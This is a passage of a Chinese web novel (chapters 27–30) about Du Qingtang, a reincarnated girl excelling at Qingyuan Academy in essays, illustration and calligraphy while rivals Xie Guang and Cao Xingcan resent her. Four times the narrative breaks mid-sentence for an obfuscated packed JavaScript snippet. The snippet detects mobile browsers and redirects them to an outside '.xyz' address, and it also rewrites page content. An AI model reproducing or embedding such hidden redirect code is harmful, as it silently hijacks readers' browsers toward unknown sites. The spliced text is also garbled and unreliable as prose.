比如她手中的这本《周礼》。 《周礼》是与礼制有关儒家经典,十三经之一,也是科举考试的考察书籍之一。 “惟王建国,辨方正位......” 朗朗书声回荡在清晨寒凉的空气里,这就是杜青棠选在这里读书的原因,既能放开嗓门,也不会打扰到还在睡梦中的学生。 中途,有位身着褐色短衫的男子从她面前小跑经过。 见杜青棠在读书,他驻足问询:“你是秀才班的?” 杜青棠抬眸,眼前之人年逾五旬,鬓发霜白,双目清明,面容端肃,颇有几分文人风采。 只看气质,像是清苑书院里的教授、教谕之流。 可他又身着书院里匠人的服饰。 二者自相矛盾,杜青棠索性略过不想:“非也,我是启蒙班的学生。” “启蒙班?”男子有些诧异,看向明显是手抄版的《周礼》,声音低不可闻地说了句什么,杜青棠没听清,“你继续吧,我走了。” 杜青棠觉得莫名其妙:“......您慢走。” 男子小跑着远去,杜青棠将“天官宰冢”篇反复朗读五遍,又尝试背诵一遍。 过程中有过一次卡壳,好在她很快想起来了,流畅地背完剩下的部分。 之后,杜青棠又深入解读了“天官宰冢”篇,一边将文言文翻译成白话文,一边思考如果科举考试中考察《周礼》,命题人会取其中的哪些句子作为考题。 一个时辰转瞬即逝。 杜青棠结束晨间诵读和思考时间,把坐垫和书本藏在孔夫子雕像后面,开始晨练。 她这具身体常年处于营养不良的状态,还是皮包骨头的那种,不适合太过激烈的健身项目,所以杜青棠选择徐徐图之,先从广播体操开始,以后再慢慢加入其他项目。 一套广播体操结束,杜青棠出了点汗,回去的路上尽量避风走,以免见风着凉,影响上课。 走进寝舍,傅文还在睡。 杜青棠喊她:“傅同窗,该起床了,待会儿还要上课。” 床帐内静默良久,才响起窸窸窣窣的动静,傅文嗓音惺忪:“嗯,起了。” 杜青棠用杨柳枝蘸盐,快速刷了个牙,去水房打热水洗脸:“傅同窗,热水分你一半。” 傅文正在跟书院服的腰带作斗争,闻言喜不自胜:“多谢,青棠。” 杜青棠倒水的动作一顿,默认了傅文的称呼。 洗漱完毕,两人直奔饭堂。 早饭是一碗粥配两个菜包子,喝完了粥,一手一个包子,一边狂奔向课室,一边大口吃包子。 不止杜青棠和傅文,一路走来,许多学生皆是如此。 他们行色匆匆,开始新一天的课程。 27.027 “就是她?” “没错,她就是杜青棠。” “十二岁便可倒背四书五经,看来她很快就能跟我们成为同窗了。” “哪有你们说得那么厉害,故作玄虚,哗众取宠罢了。” 杜青棠出现在启蒙班前面的长廊上,瞬间引来各班学生的注意。 他们自以为小声地交谈,不时向她投来钦佩或不屑的目光。 杜青棠曾三次登上金銮殿,多次与庆元帝促膝长谈,后来还因为女子身份暴露遭受千夫所指,那些文官的嘴皮子利索得很,骂人不带脏字,又怎会被这些好坏掺半的言论影响到。 只见杜青棠面无表情,一口吞下半个包子。 “这人好生粗鄙,简直有辱斯文!” 傅文走在杜青棠身侧,感受着身后似要将她凿个洞的视线,不由得感慨:“这大概就是出名的烦恼吧。” 一言一行都在大众的注视之下,动辄引发争议。 杜青棠调侃:“傅同窗与我同进同出,怕是也要跟着出名了。” 傅文连连摆手:“青棠你快饶了我吧,我可不想出名。” 杜青棠沉默须臾:“抱歉,我似乎连累到你了。” 傅文一怔,忙摇头:“青棠助我良多,我感激还来不及,何来连累一说?况且你从始至终未做错什么,昨日你若认输服软,谢光往后只会变本加厉地针对你。” 傅文并非忘恩负义之人,杜青棠对她的好,她全都记在心里,来日定会报答。 杜青棠眸中笑意涌动,她果然没有看错人:“那就好。” 傅文见她笑,也跟着笑。 交谈间,谢光走进杜青棠面前,从书袋里掏出一块砚台:“喏,赔你的。” 正欲扔下走人,杜青棠出言提醒:“谢同窗当心些,这砚台可经不起摔。” 谢光喉头一哽,把砚台放到桌上:“你满意了?” “谢同窗言而有信,赔偿了砚台,杜某当然满意。”杜青棠表情真诚,“对了,那本《孟子》你可以慢慢抄,若是为了赶速度而导致错字漏字,谢同窗还要重抄一份,数日努力付之一炬,那就得不偿失了。” 谢光:“......” 他面沉如水,语气生硬:“我已经在抄了,过几日就给你。” 其实不然。 谢光原本打算将杜青棠的《孟子》留到最后,先抄写孙教谕的五遍四书五经,可谁让杜青棠太不要脸,看似体贴,实则催促他赶紧抄书,他只好更改计划,以免杜青棠又闹出什么幺蛾子。 杜青棠见他颈侧暴起青筋,又添一把火:“多谢谢同窗,你真是个好人。” 傅文:“......” 谢光:“......” 他从未像现在这样讨厌“好人”这个词,就好比吃了一颗表面完好,实际上已经腐烂的果子,吐不掉又咽不下,可把他恶心得不轻。 谢光紧咬牙关,攥紧蠢蠢欲动的手指,不让自己一拳砸上去。 只恨杜青棠此人阴险狡诈,昨日害他狠狠摔个跟头,在找到合适的机会之前,不宜再与其发生冲突。 谢光愤而离去,傅文忍俊不禁:“谢同窗怕是气坏了。” 从开课第一天到现在,谢光看似咄咄逼人,处处占上风,实则从未赢过,还丢尽了脸面。 傅文算是看明白了,谢光这个人是典型的外强中干,你强他就弱,你弱他就强。 就像她以前的同窗,她越是忍气吞声,他们就越发变本加厉地欺负她。 可在村塾先生面前,那些人比谁都要乖觉,说话轻声细语,唯恐声音大了惹来先生训斥。 傅文想,如果她当初能像杜青棠这样,态度强硬一点,懂得变通一点,是不是就不用遭受那么长时间的欺凌和戏弄。 “人总是要为自己做过的事情负责,我只是以彼之道还施彼身。”杜青棠拿起砚台,仔细端详,“还是一块歙(she,四声)砚。” 傅文道:“若不赔你一块好砚,又如何能堵住悠悠之口?” 余光中,丁班的学生向她们这边翘首以望,显然是好奇谢光赔了杜青棠什么样儿的砚台。 杜青棠不予理会,把砚台放进书袋,打算回去开砚之后再用。 不多时,孙教谕来了。 “昨日考校了诸位背诵和默写,总体还不错,今天继续上课。”孙教谕翻开书本,“上次我们讲到《中庸》的第十七章,今天讲第十八章。” “韩坚,你来读一下第十八章。” 名为韩坚的学生起身,捧书朗读:“子曰:‘无忧者,其惟文王乎......’” 杜青棠蹭傅文的砚台,一边认真听讲,一边在笔记本上做记录。 笔记本是她自制的,五十张宣纸用针线缝在一起,翻页的时候小心一点,可以保存很久。 孙教谕在上面讲课,过程中不乏引经据典,旁征博引,凡是杜青棠觉得有用的东西,一律记录下来,等一节课结束,竟记了满满一页。 伴随着放课的锣声,孙教谕布置课业,以《中庸》第十八章中的某一句写一篇四书文。 孙教谕离开之后,傅文身体倾斜过来,一脸好奇:“青棠,这是什么?” 杜青棠放下毛笔,轻揉手腕,写得太快有些酸胀:“笔记本,用于课堂记录。” 傅文双眼一亮:“我可以仿照它做一本吗?” 杜青棠颔首:“当然可以。” 傅文喜上眉梢:“多谢青棠,你真是个好人!” 杜青棠:“......” 说实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992189|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回旋镖的滋味不太好受。 - 今天只有两节课,一节是孙教谕的国学课,另一节则是礼仪课。 礼是君子六艺之一,涵盖吉礼、凶礼、军礼、宾礼和嘉礼。 启蒙班的学生目前只学习吉礼、凶礼和嘉礼,即祭祀、丧葬和日常生活中的礼仪。 今天启蒙丁班要学的是嘉礼。 负责教授这一门课程的刘教谕体型清瘦,面容和蔼可亲,课上全程以身示范,还随机挑选学生检查教学成果。 一节课结束,所有人累得满头大汗,趴在课桌上一动不动。 小歇片刻后,杜青棠和傅文出发去饭堂,吃饱喝足后回寝舍午睡。 清苑书院的学习强度高,必须保证充分的睡眠和精力,否则很容易事倍功半,止步不前。 浅睡半个时辰,杜青棠准时醒来,发现傅文早就起来了。 她坐在桌前,手里捏着一根绣花针,低头缝制笔记本。 余光瞥见杜青棠从床帐里冒出个脑袋,傅文停下手中的事情,转头问道:“是我吵醒你了吗?” “没有,我自己醒来的。”杜青棠下床,“做得如何了?” 傅文把笔记本给她看,已经快做好了:“青棠,我打算出去一趟,需要我帮你买什么东西吗?” 杜青棠以指为梳,理顺长发:“宣纸快用完了,需要补齐。” 傅文:“哪一档的宣纸?买几刀?” 杜青棠:“我和你一起去,顺便看看有没有合适的营生。” 她兜里有钱,但是来历不明,很容易引起不必要的麻烦,找兼职迫在眉睫。 不仅她,杜家的姑娘们也需要一份正经营生。 女子嫁得再好,不如自个儿有钱。 傅文迟疑一瞬:“不瞒你说,我在清苑书斋找到一份营生。” 杜青棠挑眉,洗耳恭听。 “书斋的东家名下有一间印刷坊,其中一些书需要插图,恰好我有几分绘画天赋,偶然得知这一消息,便尝试去争取,没想到竟入选了。”傅文从书箱中翻出一叠画纸,“如果你擅长绘画,我可以带你去见东家。” 杜青棠接过画纸翻看,有梅兰竹菊四君子,有千篇一律的山水画,还有涉及才子佳人、男欢女爱之类的。 “阿文画技精湛,杜某自愧不如。” 傅文见杜青棠的视线停在那张男女痴缠的画上,有些脸热,声如蚊蝇:“我只是按照东家的要求作画,并非......并非......” “凭本事挣钱,没什么好羞耻的。”杜青棠归还画纸,向她作了一揖,“那就劳烦阿文将我引荐给那位东家了。” 傅文笑吟吟:“青棠无需言谢,我乐意之至。” 两人整理好衣物,这便出发了。 28.028 “半月前我进城购置书本、笔墨,阴差阳错得了这份营生,东家让我先画完十五幅插图,今日是最后期限。” 傅文搂紧怀中的画纸,笑容灿烂:“根据插图的难易程度,我大致估算了下工钱,应该有二百文。” 半个月二百文,一个月就是四百文。 在大夏,普通农户月入三百文,外出给人做工至多月入五百文,这份营生如果能长期发展下去,日常开销不成问题,还能攒下不少。 “若是成了,晚上请你饱餐一顿。”杜青棠承诺道,“先去书斋,然后再去宣宝斋买宣纸可好?” 傅文欣然应下:“那我就不客气了。” 好友之间本就是你来我往,上次她请吃饭,这次轮到杜青棠。 清苑书斋离书院很近,步行一炷香时间便可抵达。 也是巧了,今日东家来书斋查账,查完账正准备走,傅文和杜青棠就来了。 傅文交出画纸:“东家您瞧瞧,这十五幅插图是否合格。” 东家不多废话,当场查看。 半晌后,他朗声笑道:“小公子画得很好,我很满意。” 傅文松了口气:“您满意就好。” 东家扭头吩咐掌柜:“取二百三十文给这位小公子。” 傅文手一抖,失声惊呼:“这么多?” 掌柜将工钱交给傅文,沉默退下。 东家捻须:“你画得好,工钱自然高。” 傅文喜不自禁,郑重保证:“东家放心,我一定会尽心尽力作画。” 言罢,看向一旁的杜青棠:“东家,您前阵子是说印刷坊急缺画师,我这位好友同样擅长绘画,您可以让她也试一试吗?” 东家是个爽快人,找来一本书,翻到某一页,指着某一段落:“你若能根据这句话画出一幅画,我便收下你。” 这是一段景色描写,杜青棠看完之后沉吟片刻,很快有了灵感,提笔蘸墨,肆意挥洒起来。 她的画风狂放洒脱,同时蕴藏一些说不清道不明的东西,初见惊艳,细看却觉得压抑。 但这丝毫不影响这副逐步形成完善的山水画的壮阔宏美,傅文和东家下意识屏住呼吸,唯恐惊扰到作画之人。 直到杜青棠落下最后一笔,她右手执笔,左手拢住宽袖,侧身向后看:“东家可满意?” 东家如梦初醒,抚掌大笑:“极好!极好!” 傅文走近观赏,长河落日,空中飞鸟孤行,不禁低声吟诵:“落霞与孤鹜齐飞,秋水共长天一色。” 东家读过书,自然明白这句诗的意思:“好诗配好画,妙哉!妙哉!两位小公子可真是给了我好大的惊喜!” 傅文画技颇佳,没想到她引荐来的人更为精湛。 有她们二人,何愁无人购买印有这些插图的书籍? “二位可以和印刷坊签订长期契约,只要印刷坊在一日,您二位可以一直在我这里做事。当然,只要能让我满意,让客人满意,工钱好说。” 清苑县有好几个印刷坊,这两个大宝贝可千万不能被对家抢了去。 杜青棠和傅文对视,眼中浮现笑意,异口同声道:“当然可以!” 东家大喜,立刻让掌柜拟写契书,不忘与她们热情攀谈。 契书一式两份,签字画押之后,杜青棠和傅文带着各自的契书和十五张空白画纸离开,前往宣宝斋。 一路上,傅文时不时隔着书院服去摸新入手的二百三十文,眉开眼笑,嘴角几乎咧到耳朵根。 “除却吃饭和买纸买墨的钱,一个月我至少可以存下一二百文,一年可以存二两银子,十年就是二十两!”傅文美滋滋,“东家真是个好人呐。” 杜青棠算是看出来了,这话就是傅文的口头禅。 不过找到一份清闲的兼职确实是喜事,傅文又不是她这种胎穿到古代后重生三次,活了不知多少年的“老人家”,高兴是情理之中。 两人来到宣宝斋,伙计迎上来:“客官想买什么?” 杜青棠:“四等纸两刀。” 傅文:“我和她一样。” 宣宝斋售卖的宣纸分为四等,一等最优,四等最劣,当然价格也最便宜。 虽然手里有钱,但不可肆意挥霍,两人十分默契地选择了最劣等的宣纸。 一手交钱,一手交货。 回到清苑书院,傅文匆匆洗了把脸,坐下开始作画。 杜青棠却不然,而是取出一张宣纸,横列均分为三十一份,竖列均分为四份。 横列从一写到三十一,竖列则以一个时辰为单位,从辰时的早课到酉时的晚课。 傅文不经意瞥见,好奇问询:“青棠,这又是什么?” 杜青棠制作好大致框架,将启蒙丁班的每月课程依次填写进去:“课程表。” 傅文目不转睛地瞧着,从这张所谓的“课程表”上,每天有几节课,什么时候上课一目了然。 她发自内心地赞叹:“青棠啊青棠,你的这些奇思妙想总是令我大吃一惊。” 课程表不过是现代教育的基操罢了。 “有了这张课程表,我也好安排作画的时间。”杜青棠指向门后,“到时候用浆糊贴在门上,你我都能看到。” 傅文听说这话,打消了仿制一份的念头,继续作画。 杜青棠写好课程表,也开始作画。 两人全神贯注,不为外界所扰,直到夕阳西下,天色转暗才惊觉时间已经过去一个半时辰。 而此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004899|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她们已经画好两幅插图。 杜青棠伸个懒腰,轻揉僵硬的脖颈:“不画了,先去吃饭。” 傅文:“我正有此意。” 两人相携前往饭堂,买了一碗粥和一个菜饼。 离开前,杜青棠跟饭堂的婶子讨了点面粉,回去后制成浆糊,将课程表贴在门后。 “刷题吗?” “刷。” “先做孙教谕留下的课业,做完再刷。” “好。” 杜青棠取出课业本和试题,平铺在桌上,两人借着烛光,埋头苦练到深夜。 - 翌日,杜青棠照常卯时起身。 穿鞋时,对面的床帐里发出窸窸窣窣的声响。 傅文钻出个脑袋,头发乱糟糟的,一脸的睡意惺忪,她先看一眼外面,又看杜青棠:“天还没亮,你怎么就起来了?” 杜青棠挂起床帐,叠被子,整理床铺:“出门背书。” “背书?”傅文一个激灵,彻底清醒了,眼睛瞪得溜圆,“你昨天也这么早起来背书了?” 杜青棠颔首:“嗯。” 傅文倒吸凉气,皱着脸咕哝:“青棠你也太勤奋了吧,衬得我无所事事,像是来混日子的。” 杜青棠失笑:“所以阿文要和我一起吗?” 傅文一骨碌爬起来:“当然!” 两人穿戴完毕,也不洗脸,随意捯饬了一下头发,就这么出门了。 熟悉的孔夫子雕像,左右各坐一人,捧着书摇头晃脑地诵读。 寒凉的空气让她们保持清醒,清晨读书有利于记忆。 互不打扰,各自奋发努力,共同进步。 昨天身着褐色短衫,疑似匠人的男子经过,见孔夫子雕像旁读书的人从一个变成两个,先是一愣,随后笑容爬上面颊。 他放轻脚步,没有惊扰两个孩子。 诵读环节结束,杜青棠开始做广播体操。 傅文不会做,她便放慢动作,好让傅文跟着学。 结束后,两人回寝舍洗漱,去饭堂买两个包子,赶往启蒙丁班。 第一节课依旧是孙教谕的课。 “今天不讲课,只做题。”孙教谕让人把试题分发下去,“顺便把昨天的课业交上来,稍后为师一起批阅,答得最好的......” 有人抢答:“是不是有奖励?” 孙教谕:“答得最好的,为师会将他的文章张贴出来,供他人研习评赏。” 众人:“噫~” 孙教谕面不改色:“噤声!做题!” 杜青棠拿到试题,纵观题干—— “述而不作,信而好古。” 围绕这八个字,写一篇不少于一千字的策论。 29.029 “述而不作,信而好古。” 这句话出自《论语》的述而篇,意思是只叙述和阐明前人的学说,自己不随意创作,相信并爱好古代的事物。【1】 面对浩如烟海的知识,我们应当尊重前人的研究成果,避免盲目跟风或急功近利。 但是如果只从这一层面展开论述,那就大错特错了。 在尊重前人的同时,还需踊跃创新,实现传承与创新并举。 如此这般,从两个层面展开论述,一篇长达一千二百字的策论一气呵成。 杜青棠没有单独打草稿,而是直接在考卷上书写,过程中一次不慎,写错了字,她直接用墨水涂黑,留下一个黑团团。 反正不是书院举办的正式考核,只是一次随堂检测,孙教谕允许他们答题时出错,不会因此扣除卷面分。 ...... 一个时辰转瞬即逝。 孙教谕批阅好了昨天的课业,大部分学生也完成了策论题的作答。 “写完就交上来吧。” “是。” 众人将答卷放在讲桌右上角,井然有序地回到座位。 杜青棠放下答卷,转身时差点撞到后面的曹行粲,她一个急转,避开曹行粲,但手肘撞上讲桌一角,“砰”一声脆响。 酸痛感袭来,杜青棠吸气,眉头抽动两下,侧身绕开曹行粲,回到座位上。 曹行粲:“......” 她这副姿态,好像他是什么洪水猛兽一般。 他只是在开课第一天向她下了战书而已。 曹行粲面色不虞,冷哼甩袖而去。 坐在他左边的学生将他与杜青棠的“交锋”看在眼里,忙出言恭维:“曹公子师从大儒,满腹诗书,您所作的策论定能在一众人中拔得头筹。” 坐在他右边的学生不甘示弱,还不忘拉踩杜青棠:“杜青棠擅长背诵和默写,不过是因为她记性好,论起文采,那必然是逊色于曹公子您,上次出尽风头,这次怕是要原形毕露了。” 曹行粲回忆自己所作的策论,再对比先前惊鸿一瞥看见的杜青棠的两段策论。 相同的试题,他和杜青棠的论述角度截然不同。 谁对谁错,曹行粲心中早有答案。 他的老师,前国子监祭酒曾经考校过他类似的试题,也曾为他详细讲解过。 杜青棠出身乡野农门,教导她的不过一寻常举人,哪有进士出身的国子监祭酒厉害。 如此对比,高下立现。 两旁的学生还在踩高捧低,见曹行粲的脸色肉眼可见地缓和下来,更加卖力地吹捧他。 曹行粲的后桌听他们贬低杜青棠,低下头佯装翻书,心中五味杂陈,不知该说什么好。 他们是不是忘了,不久前书院招考,杜青棠以十二岁之龄,力压一二百名考生成为榜首? 诚然考核中有默写题,但是四书文、五经文、策论以及试帖诗题更多。 若无文采,如何独占鳌头? 真不知该说这些人为了阿谀奉承,连脑子都没了,还是该说这位曹公子心思简单,别人说什么就是什么,空有野心却毫无主见。 ...... 上首,孙教谕飞速批阅学生们的策论。 趁这个时间,杜青棠和傅文交换昨夜写的两道五经文,互相批阅。 科举必考科目中,杜青棠更擅长经义、策论,傅文则更擅长诗赋。 杜青棠有意帮助傅文提升在经义方面的作答能力,便主动提出交换批阅。 傅文自然求之不得,双手奉上自己的文章。 半个时辰转瞬即逝。 杜青棠和傅文在对方的五经文旁边留下密密麻麻的评注,大多是个人见解。 双方取回各自文章,一边细看评注,深入思考,一边在原版基础上根据所得所想略作修改。 傅文感慨:“从前我独来独往,无人与我探讨学问,自从结识了青棠,不过几日便令我受益匪浅。” 杜青棠又何尝不是。 她从傅文的评注中窥见另一种破题思路,新颖别致,令她思如泉涌,恨不得立刻、马上赋文一篇。 然时间有限,拟写一篇文章至少需要小半个时辰,这里又是课堂上,只能暂且搁置,留待回寝舍再写。 “这大抵便是以己之长,消彼之短罢。”傅文若有所思地道,“以青棠的长处,消除我的短处。” 杜青棠哑然无言:“......擅改兵法,扭曲语意,可真有你的。” 傅文吃吃地笑,眉眼飞扬。 谈笑间,孙教谕批阅完所有人的策论,轻敲戒尺:“诸位——” 众人停下手头之事,翘首以盼。 会是何人夺得最佳? 前几日大出风头的杜青棠? 还是身份尊贵,师从大儒的曹行粲? 亦或是那几个成绩优异的同窗? “为师结合昨天的课业和今天的策论,评选出文章最为出彩的三人。” 众人屏息,双目圆睁,一眨不眨地盯着孙教谕手中的答卷。 “首先是杨承,你的四书文写得极好,策论虽有瑕疵,但瑕不掩瑜,可为第三。” 被点名的杨承昂首挺胸,咧开嘴笑,满是弱冠之年的意气风发。 “其次是曹行粲。” 曹行粲骤然攥紧毛笔,笔杆因大力咯吱作响。 其次? 也就是说,他得了第二? 第一是谁? 杜青棠? 不不不,一定不是她。 绝对不可能是她。 如果他又一次被杜青棠比下去,又有何颜面留在清苑书院? 消息传回夏京,怕是要被他的那些个兄弟们笑掉大牙。 “你的四书文和策论构思巧妙,是为师从未见过的论述角度,其中融入拟代等修辞技巧,当为第二。” 近百道目光从四面八方涌来,曹行粲近乎仓惶地低下头,不让他们看见自己青白交织的脸色。 他们一定在嘲笑他吧? 高门出身,首辅祖父亲自启蒙,还有大儒倾心教导,却只得了个第二。 曹行粲脸上一片火辣辣,说不出是愤怒和失望更多,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012327|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞耻更多。 但无论如何,孙教谕的点评还在继续。 “答得最好的,当属——” 孙教谕故意卖了个关子,惹得在座众人焦急催促:“教谕您快说啊!” 只见他一拍戒尺,朗声宣布:“杜青棠的文章!” “说实话,在座诸位的四书文或多或少存在一些问题,无论是结构还是措辞,都不够成熟完善。只有杜青棠的四书文,它是非常标准的八股格式,从破题到束股堪称完美。” “还有她的策论,在座大多数人只从尊重前人的层面展开论述,而忽略了另一层面,只有杜青棠!” “她的策论措辞精简,却又面面俱到,一针见血,并非为师故意夸大,为师担任启蒙丁班的教谕已有五年,如此优秀的文章着实罕见。” 孙教谕看向杜青棠,言语间不乏骄傲与自豪:“她是当之无愧的第一!” 话音落下,课室响起嘘声一片。 “我从未见过教谕这样夸奖过一个人。” “真有那么好?” “她是考核第一,你说呢?” 纷杂的议论灌入曹行粲耳中,在他心底掀起惊涛骇浪。 杜青棠! 又是杜青棠! 曹行粲咬紧牙关,恨不得将这三个字碾碎吞下去,这样他就再也听不到这个惹人生厌的名字了。 他两旁的学生则一脸尴尬,看天看地就是不看曹行粲,仿佛只要不看他,就能当做他们什么话也没说过。 后桌的学生摇头,过于心高气傲可不是一件好事。 尤其是周围还有个比他更优秀的。 另一边,傅文激动到低声尖叫:“青棠!青棠!你听到了吗?第一名是你!你又是第一名,文章写得最好的那个!” 杜青棠:“......” 她当然听到了,不止孙教谕的赞扬,还有同窗的艳羡。 说实话,这会儿她有点臊得慌。 她之所以答得这样好,是因为历经三次科举,做过成千上万道科举试题。 怎么都觉得有点以大欺小的意思。 “稍后为师会将六篇文章张贴出去,诸位尽可研习评赏,弥补自身不足。” “是,教谕。” 很快,放课的锣声响起。 孙教谕张贴好文章,便扬长而去。 众人蜂拥而上,争相观瞻“优秀文章”。 曹行粲也去看了。 他倒要看看,这个杜青棠的文章究竟有什么可取之处,竟引得孙教谕赞不绝口。 “果然极好。” “我要是能写出这样的文章,哪怕让我考上童生我也愿意啊!” “好你个不要脸的,怎么连吃带拿?” 在众人的哄笑声中,曹行粲沉着脸看完杜青棠的文章,一言不发地来到她面前。 杜青棠刚清洗完毛笔,准备去饭堂吃午饭。 曹行粲居高临下地看她,语气傲慢,像是在挑衅宣战:“杜青棠,你的确很优秀,但是我很快就会夺回属于我的第一。” 杜青棠:“......” 30.030 曹行粲气馁萎靡地来,斗志昂扬地离开,留杜青棠和傅文面面相觑。 傅文:“他在说什么啊?” 杜青棠:“不知道,可能是在向我宣战?” 傅文:“第一名又不是他一个人的,真是莫名其妙的占有欲和胜负欲。” 杜青棠把书本塞进书袋:“不说他了,去吃饭。” “好!”傅文语气轻快,“今晚有萝卜肉丸汤,咱们得赶紧去,否则就抢不到了。” 紧赶慢赶,还是迟了一步。 饭堂内人山人海,放眼望去尽是后脑勺。 杜青棠没抢到萝卜肉丸汤,不过负责打菜的婶子多给她一勺冬菇炖鸡。 傅文亦然。 “多谢婶子。”她二人异口同声道。 婶子摆摆手,笑得慈眉善目:“今天做得多,吃不完也是浪费,你们多吃些,长高个儿!” 没有萝卜肉丸汤,但还有白菜汤。 两人各盛一碗,吃饱喝足后结伴回寝舍。 午睡小半个时辰,继续回去上课。 下午只有一节课,是黄教谕的书法课。 书法隶属于君子六艺中的“书”,它有许多讲究,其中最主要的是笔法和笔势。 笔法重在强调用笔的技巧,这些技巧包括正、侧、轻、重、顺、逆等。【1】 笔势不仅关乎单个笔画的形态,更在于点画与点画、字与字、行与行之间内在或外在的联系,表现形式多种多样。【2】 二者得其一,便可彰显书法作品的生机与动态之美。 在现代时,杜青棠兴趣广泛,涉猎颇多,书法便是其中之一。 她曾临摹过许多古代书法大家的作品,闲暇之余也曾获得过书法比赛的奖项。 穿到古代之后,有道是字如其人,一手好字在科举考试中的重要性不言而喻。 有些人因为字写得不好,纵使文学造诣达标,却是连秀才都没考上。 为了给考官留下一个好印象,杜青棠多年如一日地练习书法,其中以楷体字练得最多。 ——大夏的科举考试有明确要求,考生必须用端正的楷体字作答,若使用其他字体,成绩一律作废。 “青棠,你真的只读了两年书吗?”傅文看着银钩铁划、暗藏锋芒的楷体字,啧啧称羡,“你会倒背四书五经,会作画,还会书法......青棠,你还有什么惊喜是我不知道的?” 当然不止两年,杜青棠心说。 “多看,多练,总能进步的。”杜青棠提笔蘸墨,“你我的书法笔势不同,你的更偏向于含蓄内敛,可仿照书圣的书法勤加练习。” 傅文眉开眼笑:“多谢青棠,你真是个好人。” 如此想来,她十三年的运气似乎都用来遇见眼前之人了。 自从离家进城,遇见杜青棠,她灰暗崎岖的人生都变得明亮顺遂起来。 傅文在心底暗暗期许,如果能一直这样就好了。 ...... 课堂上,黄教谕让学生们誊抄诗文,他负手穿行于课桌之间,不时夸赞、指点一二。 行至杜青棠身旁,他步履一顿。 纸上的书法笔走龙蛇,遒劲洒脱,凌厉的笔锋力透纸背,让人瞧了便再也挪不开眼。 黄教谕看向这幅书法的主人,是个生面孔。 思及不久前的招考,他心底有了计较。 黄教谕:“你叫什么?” 杜青棠:“学生杜青棠。” 黄教谕:“练习多久了?” 杜青棠:“两年。” 黄教谕惊愕失色,短短两年便抵达这种境界? 他脚下发飘地在课室里转了一圈,又停在杜青棠身旁:“咳——你若有心学习书法,可以来找我。” 竖起耳朵偷听的众人:“!!!” 黄教谕可是扬名天下的书法大家,先帝和陛下都对他的书法赞不绝口。 这些年来,向黄教谕求书法的人踏破门槛,他却都置之不理,也不对外售卖。 到如今,他的作品已经到一字千金的程度。 杜青棠究竟做了什么,竟让黄教谕说出这番话? “黄教谕是想收她为徒吗?” “杜青棠不仅书背得好,文章写得好,还写得一手好字,这世上还有什么她不会的东西吗?” “她当真出身乡野农门,而不是什么隐世大家族?” 曹行粲原本正沾沾自喜地欣赏自己的书法,听着周围人的嘈杂议论,好心情瞬间跌落谷底。 “哗啦——” 他面无表情将宣纸揉成一团,扔在脚边。 瞬间成为人群中的焦点,杜青棠处之泰然,毫不慌乱:“是,学生记下了。” 黄教谕没有等到想要的答案,有些失望,但他知道师徒之间的缘分不可强求,驻足围观须臾,略微指点了杜青棠和傅文的书法便离开了。 傅文吐出一口浊气,紧绷的身体垮下来:“教谕一直在旁边盯着,我差点写错字......青棠,方才教谕明显是想收你为徒,你为何不答应?” 杜青棠轻声道:“杜某志不在此。” 轮回四世,她的理想从未更变。 她步步为营,苦心筹谋,想要不过是科举及第,位极人臣罢了。 傅文听出她的言外之意,轻声低语:“其实我与你志向一致,可惜......” 杜青棠语气平静:“会有那一天的。” 傅文:“嗯?” 杜青棠没再说话,傅文却被她说得一头雾水,见她潜心练习书法,只得忍下好奇,潜心练习去。 - 书法课之后,杜青棠在书法上颇具造诣的消息传开,使她又一次被隔壁三个班的学生当做国宝大熊猫围观。 对此,杜青棠接受良好,照常卯时起床,和傅文一起外出晨读、晨练,课堂上认真听讲,认真记笔记,放课后画插图、刷题。 杜青棠就像是一块海绵,疯狂从清苑书院的教谕那里汲取知识,每天三点一线,日子枯燥乏味,但是非常充实。 另一边,元盛被李先生逐出私塾,此后半个月,他处处碰壁,县城的私塾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017222|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不肯接收他,就连最贪财的那个教书先生也将他拒之门外。 